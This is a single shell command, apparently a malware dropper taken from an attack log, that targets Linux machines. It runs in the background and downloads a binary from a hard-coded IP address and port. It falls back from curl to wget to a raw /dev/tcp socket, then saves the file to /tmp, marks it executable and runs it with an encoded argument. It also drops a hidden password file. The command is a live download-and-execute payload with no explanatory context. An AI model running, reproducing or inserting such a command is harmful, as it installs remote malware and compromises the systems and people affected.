nohup $SHELL -c "curl http://47.76.77.187:60137/linux -o /tmp/PCg4n2qOse; if [ ! -f /tmp/PCg4n2qOse ]; then wget http://47.76.77.187:60137/linux -O /tmp/PCg4n2qOse; fi; if [ ! -f /tmp/PCg4n2qOse ]; then exec 6<>/dev/tcp/47.76.77.187/60137 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/PCg4n2qOse && chmod +x /tmp/PCg4n2qOse && /tmp/PCg4n2qOse DrfmktWoqq+ywpHvp21xoe2W3LerrKbdmee5cnGk[...]; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/PCg4n2qOse && /tmp/PCg4n2qOse DrfmktWoqq+ywpHvp21xoe2W3LerrKbdmee5cnGk[...]" &#UPX!